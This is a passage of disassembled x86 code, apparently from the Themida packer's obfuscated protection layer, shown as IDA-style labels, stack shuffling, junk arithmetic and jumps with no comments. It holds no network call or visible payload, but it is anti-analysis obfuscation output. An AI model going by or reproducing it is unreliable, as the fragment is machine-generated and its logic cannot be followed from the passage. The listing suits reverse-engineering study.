		pop	edx
		sub	bl, 78h
		add	bl, ah
		push	dx
		mov	dh, 78h
		sub	bl, 7
		add	bl, dh
		jmp	loc_5A6550
; ---------------------------------------------------------------------------


loc_5ABB95:				; CODE XREF: Themida_:005A18D6j
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_5A626D
; ---------------------------------------------------------------------------


loc_5ABBA3:				; CODE XREF: Themida_:00599580j
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_5A937A
; ---------------------------------------------------------------------------


loc_5ABBAC:				; CODE XREF: Themida_:00599124j
					; Themida_:005AB44Aj
		sub	ecx, 31077A65h
		add	ecx, ebp
		add	ecx, 31077A65h
		jmp	loc_59D66A
; ---------------------------------------------------------------------------


loc_5ABBBF:				; CODE XREF: Themida_:0059F63Dj
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 36212954h
		neg	edx
		js	loc_5A65D9
		inc	edx
		jg	loc_5A0A15
		add	edx, 56D002BBh
		push	ecx


loc_5ABBEB:				; CODE XREF: Themida_:005A1257j
		inc	ch
		jnp	loc_59CF0B
		jmp	loc_5A3D56
; ---------------------------------------------------------------------------
		jmp	loc_59C233
; ---------------------------------------------------------------------------


loc_5ABBFD:				; CODE XREF: Themida_:0059CD2Bj
					; Themida_:005A2AA9j
		mov	esi, 5D7F5D71h
		push	ebp
		push	eax
		push	3CE84A06h
		pop	eax
		neg	eax
		jnb	loc_5A3D92
		add	eax, 42955775h
		mov	ebp, eax
		jmp	loc_5A7EDF
; ---------------------------------------------------------------------------


loc_5ABC1E:				; CODE XREF: Themida_:005AAF2Fj
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, 68016A0Ch
		sub	ebp, 5CA5680Bh
		jmp	loc_59F340
; ---------------------------------------------------------------------------


loc_5ABC48:				; CODE XREF: Themida_:005A0C7Dj
		mov	ebp, 5C007630h
		sub	eax, 0B9E1F28h
		sub	eax, 0BB93E57h
		add	eax, ebp
		add	eax, 0BB93E57h
		add	eax, 0B9E1F28h
		jmp	loc_5AF571
; ---------------------------------------------------------------------------


loc_5ABC68:				; CODE XREF: Themida_:0059EB02j
		xor	esi, 0E7825D5h
		mov	edx, esi
		jmp	loc_59F859
; ---------------------------------------------------------------------------


loc_5ABC75:				; CODE XREF: Themida_:005A593Fj
		mov	[esp], ebx
		jmp	loc_5994BC
; ---------------------------------------------------------------------------


loc_5ABC7D:				; CODE XREF: Themida_:0059F175j
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5AB546
; ---------------------------------------------------------------------------


loc_5ABC8B:				; CODE XREF: Themida_:00599B78j
		neg	cl
		and	cl, 45h
		jns	loc_5AE959
		jmp	loc_5A0EB8
; ---------------------------------------------------------------------------
		sub	eax, ebx
		jmp	loc_599835
; ---------------------------------------------------------------------------
		push	ebx


loc_5ABCA3:				; CODE XREF: Themida_:005A9245j
		add	esi, 13DA341Fh
		push	7386h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59C3C3
; ---------------------------------------------------------------------------


loc_5ABCC6:				; CODE XREF: Themida_:005ADDC7j
		mov	cx, 6C00h
		add	cx, 525Eh
		add	cx, 0FFFFh
		not	cx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 390A01EBh
		and	eax, 17DC5829h
		shl	eax, 5
		neg	eax
		and	eax, 318B3FE2h
		sub	eax, 108B3ADCh
		jmp	loc_59E92B
; ---------------------------------------------------------------------------


loc_5ABCFE:				; CODE XREF: Themida_:005A61A1j
		mov	[esp], edx
		jmp	loc_5ADB9F
; ---------------------------------------------------------------------------


loc_5ABD06:				; CODE XREF: Themida_:0059EEC5j
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_59D026
; ---------------------------------------------------------------------------


loc_5ABD11:				; CODE XREF: Themida_:005A1CEFj
		mov	[esp], esi
		mov	esi, 170A1E07h
		add	eax, 0F7E7A68h
		sub	eax, esi
		push	ecx
		mov	ecx, 7DEE1956h
		or	ecx, 78376B4h
		add	ecx, 8F8EFA72h
		add	eax, 2E8A5AE4h
		sub	eax, ecx
		jmp	loc_5A0B38
; ---------------------------------------------------------------------------


loc_5ABD3E:				; CODE XREF: Themida_:005A630Bj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ABD43:				; CODE XREF: Themida_:005AB5F7j
		pop	esp
		jmp	loc_5A483A
; ---------------------------------------------------------------------------


loc_5ABD49:				; CODE XREF: Themida_:0059F183j
		mov	[esp], edx
		push	2F48h
		mov	[esp], esp
		jmp	loc_5A8B7A
; ---------------------------------------------------------------------------


loc_5ABD59:				; CODE XREF: Themida_:005A257Ej
		mov	ecx, edx
		pop	edx
		jmp	loc_5A07D0
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	ebx
		jmp	loc_5A7EC8
; ---------------------------------------------------------------------------


loc_5ABD72:				; CODE XREF: Themida_:005A9F1Fj
		add	ebx, 6A5B14DBh
		jmp	loc_5A7751
; ---------------------------------------------------------------------------


loc_5ABD7D:				; CODE XREF: Themida_:0059C67Cj
		xor	cl, 76h
		and	al, cl
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5ACB84
; ---------------------------------------------------------------------------


loc_5ABD91:				; CODE XREF: Themida_:005A8F98j
		add	ebx, esi
		jmp	loc_5ACA1E
; ---------------------------------------------------------------------------


loc_5ABD98:				; CODE XREF: Themida_:005AD97Aj
		not	esi
		not	esi
		jmp	loc_5A67D4
; ---------------------------------------------------------------------------


loc_5ABDA1:				; CODE XREF: Themida_:005A08D5j
		pop	ecx
		push	ecx
		push	72860BF7h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A5A2A
; ---------------------------------------------------------------------------


loc_5ABDB3:				; CODE XREF: Themida_:005A23F0j
		push	edi
		jmp	loc_5A8D7A
; ---------------------------------------------------------------------------


loc_5ABDB9:				; CODE XREF: Themida_:00599193j
		jmp	loc_59B41F
; ---------------------------------------------------------------------------


loc_5ABDBE:				; CODE XREF: Themida_:005AC893j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	57DFh
		mov	[esp], esi
		mov	esi, 2A1F0BF6h
		push	ecx
		mov	ecx, 551A6F26h
		jmp	loc_5A79D3
; ---------------------------------------------------------------------------


loc_5ABDDF:				; CODE XREF: Themida_:00599B3Dj
		jnp	loc_59F041
		inc	edi
		jmp	loc_5A7E23
; ---------------------------------------------------------------------------


loc_5ABDEB:				; CODE XREF: Themida_:005A2B6Bj
		mov	[esp], edx
		mov	edx, 4
		push	esi
		jmp	loc_59AC46
; ---------------------------------------------------------------------------


loc_5ABDF9:				; CODE XREF: Themida_:0059FF84j
		push	esi
		push	ebp
		jmp	loc_5ABAC5
; ---------------------------------------------------------------------------


loc_5ABE00:				; CODE XREF: Themida_:005ACB5Cj
		pop	eax
		jmp	loc_5A1926
; ---------------------------------------------------------------------------


loc_5ABE06:				; CODE XREF: Themida_:00599E3Aj
		sub	[esp], al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ABE0F:				; CODE XREF: Themida_:0059F7D4j
		mov	esi, [esp]
		jmp	loc_5985C8
; ---------------------------------------------------------------------------


loc_5ABE17:				; CODE XREF: Themida_:005A9D80j
					; Themida_:005AA190j
		sub	eax, edi
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	edx
		jmp	loc_5AB791
; ---------------------------------------------------------------------------


loc_5ABE37:				; CODE XREF: Themida_:005A4721j
		push	esi
		mov	esi, 45594DF4h
		push	edi
		mov	edi, 1FFF67B2h
		xor	edi, 5C674848h
		jmp	loc_5AE0E8
; ---------------------------------------------------------------------------


loc_5ABE4E:				; CODE XREF: Themida_:005A10C1j
		add	edi, esi
		pop	esi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59DE5D
; ---------------------------------------------------------------------------


loc_5ABE71:				; CODE XREF: Themida_:0059C295j
		mov	[esp], ebp
		mov	ebp, 70AE3248h
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	ebp, 3C585722h
		add	ebp, edi
		add	ebp, 3C585722h
		pop	edi
		add	ebp, 7C12003Ch
		jmp	loc_5A904D
; ---------------------------------------------------------------------------


loc_5ABE99:				; CODE XREF: Themida_:00599188j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 6A6A7D3Fh
		add	edi, 959582C5h
		jmp	loc_5A9360
; ---------------------------------------------------------------------------


loc_5ABEB3:				; CODE XREF: Themida_:0059D317j
		pop	ebx
		sub	al, cl
		push	edx
		mov	dl, 0F9h
		add	dl, 0AEh
		sub	al, 15h
		jmp	loc_59B5C4
; ---------------------------------------------------------------------------


loc_5ABEC3:				; CODE XREF: Themida_:005AB79Ej
		sub	edx, offset byte_4024FE
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4B7B6DE6h
		jmp	loc_5996FE
; ---------------------------------------------------------------------------


loc_5ABEDF:				; CODE XREF: Themida_:005995D1j
		pop	eax
		jmp	loc_59AFF5
; ---------------------------------------------------------------------------


loc_5ABEE5:				; CODE XREF: Themida_:005AB4A0j
		and	edi, 2882D0Fh
		dec	edi
		shr	edi, 2
		shl	edi, 3
		sub	edi, 1F68E810h
		sub	ebp, edi
		jmp	loc_5A19E7
; ---------------------------------------------------------------------------


loc_5ABEFF:				; CODE XREF: Themida_:0059A6CCj
		shr	eax, 7
		jmp	loc_5988F7
; ---------------------------------------------------------------------------


loc_5ABF07:				; CODE XREF: Themida_:005A7D59j
		add	edi, 4
		jmp	loc_5AA878
; ---------------------------------------------------------------------------


loc_5ABF12:				; CODE XREF: Themida_:005A9173j
		xor	ebp, 735A1F23h
		mov	ecx, ebp
		pop	ebp
		add	ecx, esi
		jmp	loc_59B125
; ---------------------------------------------------------------------------


loc_5ABF22:				; CODE XREF: Themida_:005A2CF7j
		pop	edi
		sub	ebx, esi
		push	esi
		jmp	loc_5AE70F
; ---------------------------------------------------------------------------


loc_5ABF2B:				; CODE XREF: Themida_:0059E5A3j
		pop	ebp
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ABF4A:				; CODE XREF: Themida_:005A8921j
		xor	eax, 47AA0CE7h
		or	eax, 14282CDDh
		jp	loc_5A495A
		sub	eax, 0FD8129Eh
		jg	loc_5A0F8C
		xor	eax, 1B8A5385h
		mov	edi, eax
		pop	eax
		shl	edi, 1


loc_5ABF6F:				; CODE XREF: Themida_:loc_5A97A0j
		shl	ah, 3
		shl	ah, 5
		jmp	loc_5A8E0B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_599D7E
; ---------------------------------------------------------------------------


loc_5ABF88:				; CODE XREF: Themida_:005A07C0j
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 36BA0E38h
		add	esi, ecx
		jmp	loc_5A8F38
; ---------------------------------------------------------------------------


loc_5ABF99:				; CODE XREF: Themida_:0059F2BEj
		push	ebp
		push	1E2Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, 33985F51h
		add	ebp, eax
		jmp	loc_5AE0D8
; ---------------------------------------------------------------------------


loc_5ABFCB:				; CODE XREF: Themida_:00598518j
					; Themida_:005ADC97j
		xor	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 49AD12D1h
		jmp	loc_5A855B
; ---------------------------------------------------------------------------


loc_5ABFDC:				; CODE XREF: Themida_:005A138Aj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59B9CD
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5A6EB8
; ---------------------------------------------------------------------------


loc_5ABFEE:				; CODE XREF: Themida_:005A843Ej
		xor	si, 0B194h
		mov	ax, si
		push	dword ptr [esp]
		jmp	loc_5A0783
; ---------------------------------------------------------------------------


loc_5ABFFE:				; CODE XREF: Themida_:0059E865j
		push	51D8h
		mov	[esp], ebp
		jmp	loc_5A9089
; ---------------------------------------------------------------------------


loc_5AC00B:				; CODE XREF: Themida_:005A3066j
		sub	ecx, 0E789D579h
		add	edx, ecx
		jmp	loc_5A4204
; ---------------------------------------------------------------------------


loc_5AC018:				; CODE XREF: Themida_:0059EEF8j
		sub	esp, 4
		mov	[esp], ecx
		push	small 1C1Bh
		mov	[esp], bx
		mov	bh, 42h
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59D36C
; ---------------------------------------------------------------------------


loc_5AC03A:				; CODE XREF: Themida_:0059C326j
		mov	esi, eax
		pop	eax
		jmp	loc_5A2E2C
; ---------------------------------------------------------------------------


loc_5AC042:				; CODE XREF: Themida_:005A65D4j
		mov	eax, 0C92A7068h
		push	ebx
		mov	ebx, 34BA0E74h
		neg	ebx
		and	ebx, 1A613638h
		shl	ebx, 3
		inc	ebx
		jmp	loc_5ACA39
; ---------------------------------------------------------------------------


loc_5AC05E:				; CODE XREF: Themida_:0059840Aj
		sub	ebx, 29380598h
		push	esi
		mov	esi, 7907738Ch
		add	ebx, esi
		pop	esi
		add	ebx, esi
		jmp	loc_5AC8DF
; ---------------------------------------------------------------------------


loc_5AC074:				; CODE XREF: Themida_:005A3182j
		push	edx
		pop	ebx
		pop	edx
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		jmp	loc_5A1765
; ---------------------------------------------------------------------------


loc_5AC082:				; CODE XREF: Themida_:005A9AA0j
		mov	esi, esp
		jmp	loc_5A89A4
; ---------------------------------------------------------------------------


loc_5AC089:				; CODE XREF: Themida_:0059843Dj
		add	eax, 3B441546h
		pop	esi
		jmp	loc_5A007C
; ---------------------------------------------------------------------------


loc_5AC094:				; CODE XREF: Themida_:00598A17j
		pop	ebx
		pop	ecx
		jmp	loc_5A5B47
; ---------------------------------------------------------------------------


loc_5AC09B:				; CODE XREF: Themida_:0059B8C5j
		mov	ecx, 595D2EF9h
		or	ebp, ecx
		pop	ecx
		sub	ebp, 1FF4627Eh
		jmp	loc_5A63B5
; ---------------------------------------------------------------------------


loc_5AC0AE:				; CODE XREF: Themida_:0059F1C6j
		push	dword ptr [esp]
		jmp	loc_5A3C7D
; ---------------------------------------------------------------------------


loc_5AC0B6:				; CODE XREF: Themida_:005A1AC1j
		add	edx, eax
		pop	eax
		jmp	loc_59CEA7
; ---------------------------------------------------------------------------


loc_5AC0BE:				; CODE XREF: Themida_:00598E79j
		add	esp, 4
		xor	dl, 0ACh
		jmp	loc_59A28D
; ---------------------------------------------------------------------------


loc_5AC0C9:				; CODE XREF: Themida_:0059BE4Aj
		add	edi, 6B776DF9h
		add	ebp, edi
		pop	edi
		jmp	loc_5AE2ED
; ---------------------------------------------------------------------------


loc_5AC0D7:				; CODE XREF: Themida_:00598D53j
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		jmp	loc_59945F
; ---------------------------------------------------------------------------


loc_5AC0E7:				; CODE XREF: Themida_:0059B0D0j
		sub	esi, 69207AA1h
		xor	ebx, esi
		jmp	loc_5A1040
; ---------------------------------------------------------------------------


loc_5AC0F4:				; CODE XREF: Themida_:005998A5j
		shl	ah, 7
		jmp	loc_5A6D4B
; ---------------------------------------------------------------------------


loc_5AC0FC:				; CODE XREF: Themida_:005A5EFAj
		sub	bl, dh
		add	bl, 0F3h
		jmp	loc_5A99F9
; ---------------------------------------------------------------------------


loc_5AC106:				; CODE XREF: Themida_:0059BA1Aj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_59BB1F
; ---------------------------------------------------------------------------


loc_5AC117:				; CODE XREF: Themida_:005ACF30j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_5A3879
; ---------------------------------------------------------------------------


loc_5AC125:				; CODE XREF: Themida_:005A2675j
		or	esi, 1F694CE8h
		shl	esi, 6
		add	esi, 194E3439h
		sub	ecx, esi
		pop	esi
		jmp	loc_5AD310
; ---------------------------------------------------------------------------


loc_5AC13C:				; CODE XREF: Themida_:005AA00Fj
		mov	edx, 71376302h
		dec	edx
		shr	edx, 2
		inc	edx
		jmp	loc_5AEA9E
; ---------------------------------------------------------------------------


loc_5AC14B:				; CODE XREF: Themida_:loc_5A3F60j
		xor	eax, 384D5E7Eh
		mov	ecx, eax
		pop	eax
		push	edi
		mov	edi, 29554CB9h
		add	edi, 0FFFFFFFFh
		shr	edi, 7
		shl	edi, 1
		sub	edi, 0A378561Eh
		add	ecx, edi
		pop	edi
		jmp	loc_5A070E
; ---------------------------------------------------------------------------


loc_5AC16F:				; CODE XREF: Themida_:005ADC2Aj
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	ebp
		push	ecx
		push	edx
		mov	edx, esp
		jmp	loc_59F6D5
; ---------------------------------------------------------------------------


loc_5AC180:				; CODE XREF: Themida_:005AA3D3j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		jmp	loc_5A6B85
; ---------------------------------------------------------------------------


loc_5AC195:				; CODE XREF: Themida_:0059AB16j
		inc	esi
		sub	esi, 0E004D94Ah
		add	edi, esi
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	edi, 4
		jmp	loc_59FB43
; ---------------------------------------------------------------------------


loc_5AC1B1:				; CODE XREF: Themida_:00598906j
					; Themida_:0059BF2Dj
		mov	edx, 0CC392AB7h
		add	ebp, edx
		pop	edx
		xor	ebx, ebp
		pop	ebp
		push	ebx
		jmp	loc_5AC61C
; ---------------------------------------------------------------------------


loc_5AC1C2:				; CODE XREF: Themida_:005ACFB5j
		sub	esi, 9D93421h
		jmp	loc_5AA775
; ---------------------------------------------------------------------------


loc_5AC1CD:				; CODE XREF: Themida_:0059A3AAj
		inc	ebp
		sub	ebp, 0A64CA938h
		xor	edx, ebp
		pop	ebp
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	4
		mov	ecx, [esp]
		push	ecx
		jmp	loc_5AEFAF
; ---------------------------------------------------------------------------


loc_5AC1F3:				; CODE XREF: Themida_:005ACA98j
		push	460D33D0h
		jmp	loc_5AD411
; ---------------------------------------------------------------------------


loc_5AC1FD:				; CODE XREF: Themida_:005A1C2Fj
		shl	ebp, 2
		inc	ebp
		shl	ebp, 2
		jmp	loc_5A4D27
; ---------------------------------------------------------------------------


loc_5AC209:				; CODE XREF: Themida_:0059CF95j
		pop	esp
		mov	[esp], edi
		push	ecx
		pop	edi
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5A0FF4
; ---------------------------------------------------------------------------


loc_5AC21A:				; CODE XREF: Themida_:005A7057j
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AC22F:				; CODE XREF: Themida_:005A0C53j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		push	3D7A12C3h
		jmp	loc_5A6151
; ---------------------------------------------------------------------------


loc_5AC242:				; CODE XREF: Themida_:005A5E0Ej
		jmp	loc_5AD92A
; ---------------------------------------------------------------------------


loc_5AC247:				; CODE XREF: Themida_:0059C0F1j
		push	dword ptr [esp+4]
		jmp	loc_5A5170
; ---------------------------------------------------------------------------


loc_5AC250:				; CODE XREF: Themida_:005AF136j
		push	eax
		push	371F187Fh
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 7F25F78h
		jg	loc_5AAF7D
		jmp	loc_5AEAF5
; ---------------------------------------------------------------------------
		pop	eax
		jmp	loc_59B25D
; ---------------------------------------------------------------------------
		mov	cl, ah


loc_5AC277:				; CODE XREF: Themida_:0059B09Aj
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5AF1FD
; ---------------------------------------------------------------------------


loc_5AC287:				; CODE XREF: Themida_:005A10E6j
		push	edx
		mov	edx, 2EA5344Bh
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 0FFFFFFFFh
		add	edx, 72D7CE8h
		push	ebx
		jmp	loc_59F541
; ---------------------------------------------------------------------------


loc_5AC2A4:				; CODE XREF: Themida_:0059EE65j
		jnp	loc_5AC66C
		jmp	loc_5A0A05
; ---------------------------------------------------------------------------


loc_5AC2AF:				; CODE XREF: Themida_:0059A888j
					; Themida_:005ACF96j
		pop	ecx
		jmp	loc_5ADB6C
; ---------------------------------------------------------------------------


loc_5AC2B5:				; CODE XREF: Themida_:00599EA6j
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_5A4241
; ---------------------------------------------------------------------------


loc_5AC2E2:				; CODE XREF: Themida_:005A6CE9j
		sub	ebx, ecx
		pop	ecx
		pop	esi
		jmp	loc_59AF6A
; ---------------------------------------------------------------------------


loc_5AC2EB:				; CODE XREF: Themida_:005AF070j
		popa
		jmp	loc_5A27C8
; ---------------------------------------------------------------------------


loc_5AC2F1:				; CODE XREF: Themida_:0059983Aj
		mov	[esp], ebp
		jmp	loc_5A59F1
; ---------------------------------------------------------------------------


loc_5AC2F9:				; CODE XREF: Themida_:005A3A9Dj
		push	edx
		mov	dl, 27h
		xor	dl, 0CDh
		push	ecx
		jmp	loc_5A6459
; ---------------------------------------------------------------------------


loc_5AC305:				; CODE XREF: Themida_:0059D53Dj
		jnp	loc_5A464E
		add	edi, 8B3F063Ah
		mov	ebx, edi
		pop	edi
		sub	ebx, 0DE47EF5Ch
		jmp	loc_59B5CD
; ---------------------------------------------------------------------------


loc_5AC31F:				; CODE XREF: Themida_:0059B661j
		inc	eax
		not	eax
		jmp	loc_59B08B
; ---------------------------------------------------------------------------


loc_5AC327:				; CODE XREF: Themida_:0059BB48j
		xor	edx, 50F478D0h
		jge	loc_5AB394
		jmp	loc_5A2E06
; ---------------------------------------------------------------------------
		push	bx
		mov	bh, 53h
		or	al, 2Ch


loc_5AC33E:				; CODE XREF: Themida_:005A7587j
		xor	edi, 20763594h
		sub	edi, 0C024417h
		sub	ebp, edi
		mov	edi, [esp]
		jmp	loc_59A587
; ---------------------------------------------------------------------------


loc_5AC354:				; CODE XREF: Themida_:0059D10Bj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 380A7D07h
		push	ebx
		mov	ebx, 58127DB7h
		xor	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5A5E9D
; ---------------------------------------------------------------------------


loc_5AC380:				; CODE XREF: Themida_:005A217Fj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esi
		push	ebx
		xor	dword ptr [esp], 7C707050h
		pop	eax
		xor	eax, 7C707050h
		mov	ebx, [esp]
		jmp	loc_5AA286
; ---------------------------------------------------------------------------


loc_5AC3A4:				; CODE XREF: Themida_:005A00B5j
		add	ecx, edi
		add	ecx, 59FF4778h
		sub	ecx, 1511053Dh
		push	edx
		push	ebp
		mov	ebp, 1F550FCBh
		jmp	loc_5A4DCB
; ---------------------------------------------------------------------------


loc_5AC3BE:				; CODE XREF: Themida_:005AD367j
		add	esp, 4
		xchg	edx, esi
		jmp	loc_5A740F
; ---------------------------------------------------------------------------


loc_5AC3C8:				; CODE XREF: Themida_:005ADCE0j
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dh, ah
		mov	bl, dh
		jmp	loc_599DC3
; ---------------------------------------------------------------------------


loc_5AC3DC:				; CODE XREF: Themida_:005AB1A2j
		shl	edi, 2
		jmp	loc_5A97F8
; ---------------------------------------------------------------------------


loc_5AC3E4:				; CODE XREF: Themida_:005A7A48j
		add	ebx, 4
		jmp	loc_5A1745
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	esi
		add	esi, 4
		push	491h
		mov	[esp], eax
		jmp	loc_599F29
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	65A5h
		jmp	loc_5A2DDB
; ---------------------------------------------------------------------------


loc_5AC41B:				; CODE XREF: Themida_:0059F9A6j
		add	dword ptr [esp], 11700B53h
		sub	[esp], eax
		sub	dword ptr [esp], 11700B53h
		pop	eax
		sub	eax, 54DBB17Ah
		add	ebx, eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		push	1ABFh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_59A88D
; ---------------------------------------------------------------------------


loc_5AC45B:				; CODE XREF: Themida_:005A0FEFj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AC467:				; CODE XREF: Themida_:005A4319j
		pop	edx
		jmp	loc_59C73C
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	3662h
		mov	[esp], edx
		mov	edx, 2AA34E7Bh
		shl	edx, 7
		jnp	loc_59E665
		jmp	loc_5A4C1C
; ---------------------------------------------------------------------------
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		pop	ebp


loc_5AC493:				; CODE XREF: Themida_:005AC84Aj
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5A6307
; ---------------------------------------------------------------------------


loc_5AC49E:				; CODE XREF: Themida_:005A0622j
		pop	ebp
		add	esp, 4
		shl	eax, cl
		jmp	loc_59880D
; ---------------------------------------------------------------------------


loc_5AC4AC:				; CODE XREF: Themida_:0059C84Bj
		mov	[esp], ecx
		push	ebx
		mov	ebx, 1CF4542Eh
		mov	ecx, 61B141DAh
		not	ecx
		dec	ecx
		jnz	loc_5AEF71
		and	ecx, 4355281Dh
		jp	loc_5AAC15
		shr	ecx, 4


loc_5AC4D2:				; CODE XREF: Themida_:005A3865j
		add	ebx, eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 54A66399h
		sub	ebx, ebp
		pop	ebp
		pop	eax
		push	eax
		jmp	loc_59ECDC
; ---------------------------------------------------------------------------


loc_5AC4EC:				; CODE XREF: Themida_:0059F891j
		pop	ebx
		jmp	loc_5AB56C
; ---------------------------------------------------------------------------


loc_5AC4F2:				; CODE XREF: Themida_:005AD1DBj
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, 2D546D90h
		push	esi
		mov	esi, 47A17FB7h
		sub	esi, 7F3312AFh
		ja	loc_5A0C9F
		sub	esi, 8E85FFE9h
		mov	ebx, esi
		pop	esi
		jmp	loc_5A8001
; ---------------------------------------------------------------------------


loc_5AC522:				; CODE XREF: Themida_:005A1EBFj
		mov	[esp], edi
		push	ebx
		mov	ebx, 4
		jmp	loc_5A3A78
; ---------------------------------------------------------------------------


loc_5AC530:				; CODE XREF: Themida_:00598BC0j
		dec	ah
		not	ah
		sub	ah, 0DFh
		jmp	loc_5A7E80
; ---------------------------------------------------------------------------


loc_5AC53C:				; CODE XREF: Themida_:005A58FDj
		xchg	eax, [esp]
		pop	esp
		push	3EA7h
		mov	[esp], ebx
		mov	ebx, 17564F4Ch
		push	ebp
		mov	ebp, 4540E38h
		sub	ebp, 52B3616Dh
		not	ebp
		sub	ebp, 49921A6Ah
		sub	eax, ebp
		jmp	loc_59F03B
; ---------------------------------------------------------------------------


loc_5AC568:				; CODE XREF: Themida_:005AEDEBj
		xchg	edx, [esp]
		pop	esp
		xor	al, dh
		pop	edx
		push	ecx
		mov	cl, 2Eh
		add	cl, 0FFh
		sub	bl, cl
		pop	ecx
		push	ecx
		push	eax
		push	ecx
		mov	cl, 62h
		mov	al, cl
		pop	ecx
		sub	esp, 4
		jmp	loc_5A3BAD
; ---------------------------------------------------------------------------


loc_5AC588:				; CODE XREF: Themida_:0059B3F1j
					; Themida_:0059DF53j
		mov	[esp], ax
		push	375Ah
		mov	[esp], edx
		mov	dh, 73h
		sub	dh, 0FFh
		xor	dh, 62h
		jmp	loc_59A5B2
; ---------------------------------------------------------------------------


loc_5AC5A1:				; CODE XREF: Themida_:005ACE82j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5994D5
; ---------------------------------------------------------------------------


loc_5AC5AD:				; CODE XREF: Themida_:005AA70Aj
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 3CC5561h
		add	ebx, esi
		sub	ebx, 3CC5561h
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 4
		jmp	loc_5A7FE8
; ---------------------------------------------------------------------------


loc_5AC5D2:				; CODE XREF: Themida_:loc_5A524Dj
		jmp	loc_5A93F7
; ---------------------------------------------------------------------------


